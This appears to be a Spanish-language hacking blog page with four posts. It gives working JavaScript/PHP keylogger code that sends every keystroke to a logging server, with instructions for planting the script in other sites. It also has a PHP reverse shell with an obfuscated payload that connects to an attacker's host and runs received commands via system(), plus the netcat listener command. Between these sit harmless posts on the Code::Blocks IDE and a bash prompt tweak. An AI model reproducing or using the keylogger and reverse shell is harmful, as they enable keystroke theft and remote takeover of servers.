KeyLogger en JS y PHP

El keylogger tiene dos partes, una en JS que funciona en el cliente y otra en PHP que funciona como logger en un servidor.

kl.js

document.onkeydown = function(k){
url = new XMLHttpRequest();
url.open("get", "logger.php?k=" + k.keyCode);
url.send(null);
}

logger.php
<?php

$logs = chr($_GET["k"]);

$random = substr(md5(microtime()), 0, 6);

$file = fopen("$random.txt", "a");
fwrite($file, $logs);
fclose($file);

?>

El logger.php se puede mejorar cambiando $random por $_SERVER["REMOTE_ADDR"], o para que quede mejor aún:
if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])){
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
}
else{
$ip = $_SERVER["REMOTE_ADDR"];
}

Así además guardará la IP de algunas personas que usan proxies.

Para incluirlo en otra página poned esto:
<script src="http://page.domain/ruta/kl.js"></script>


Si lo incluís en otra página tenéis que cambiar el kl.js, donde dice logger.php?k= por la ruta completa, por ejemplo, http://page.domain/ruta/logger.php?k= ya que al ser una ruta relativa, al incluirse en otra página el navegador la buscara en ese servidor.

Code::Blocks

Hace poco os presentábamos wxWidgets, pues bien, hoy venimos con Code::Block.

¿Qué es Code::Blocks?


Esta aplicación es una IDE de C++ totalmente gratuita, personalizable y configurable (mediante el uso de plugins), ofrece todas las características requeridas por los usuarios.

Breve resumen de las características:


*Es Open Source
*Funciona en Linux, Windows y Mac (usa wxWidgets)
*Escrito en C++. No necesita de lenguajes interpretados o librerías propias.
*Importa proyectos MSVC y Dev-C++. (ASM no soportado aún)
*Completa códigos a medias.
*Sintaxis de subrayado y coloreado totalmente personalizable.
*Características a ampliar mediante plugins.
*Las características aquí mostradas no son todas, sino un resumen traducido de las más notorias.

Plugins:
Hay tres tipos de plugins:
-Los desarrollados y mantenidos por el Staff de Code::Blocks. Estos vienen instalados por defecto.
-Los desarrollados y mantenidos por contribuidores de C::B. Vienen en el repositorio y los puedes instalar a tu gusto.
-Los desarrollados y mantenidos por terceras personas ajenas a C::B. No vienen en el repositorio, pero los puedes encontrar en foros (por ejemplo, en el de C::B)

Descargas:
Página principal
Características
Descargas
Plugins
Foros
Wiki


Saludos :D

Shell remota en PHP

Para usar la shell necesitáis el netcat. Lo podéis bajar de aquí.

Para instalarlo tenéis que ir a la consola y poner:
netcat-0.7.1$ ./configure
netcat-0.7.1$ make
netcat-0.7.1# make install

El código de la shell:

<?php

set_time_limit(0);

$sock = fsockopen("IP/DNS", 6666);

fputs($sock, gzinflate(base64_decode(urldecode("4%2BLSUsACgaIuCqEKEQoKCsEKHgquCj5AqIVDLRcA"))));

while(1){
$resp = fgets($sock, 6666);

if($resp){
$sys = system($resp);
fputs($sock, "$sys\n\n");
}
}

?>


Y luego, en la línea de comandos, escribes; nc -vv -l -p 6666 (el verbose no hace falta)



La conexión es inversa, por lo que tendréis que solicitar la página al servidor para que el interprete de PHP haga la conexión. Lo podéis hacer visitando la página, por ejemplo, http://127.0.0.1/www/client_shell.php o podéis hacerlo a través de la línea de comandos usando telnet, netcat, etc.

Cambiar el color de un comando erróneo

Con mi vuelta al blog vuelven mis entradas. Ayer me pasé por

y encontré una entrada con cinco códigos bash para mejorar y personalizar tu consola de comandos. Os voy a poner sólo uno, que fue el que más me atrajo.

Se trata de un código que hace que en tu consola aparezca el número de historial de la línea de Bash en la que trabajas y, además, incluye la función de que si el comando que introdujiste anteriormente era correcto, me explico con una imagen sacada del mismo blog:


Código:

'PS1="\[\033[0;33m\][\!]\`if [[ \$? = "0" ]]; then echo "\\[\\033[32m\\]"; else echo "\\[\\033[31m\\]"; fi\`[\u.\h: \`if [[ `pwd|wc -c|tr -d " "` > 18 ]]; then echo "\\W"; else echo "\\w"; fi\`]\$\[\033[0m\] "; echo -ne "\033]0;`hostname -s`:`pwd`\007"'
Dudas en los comentarios, por favor.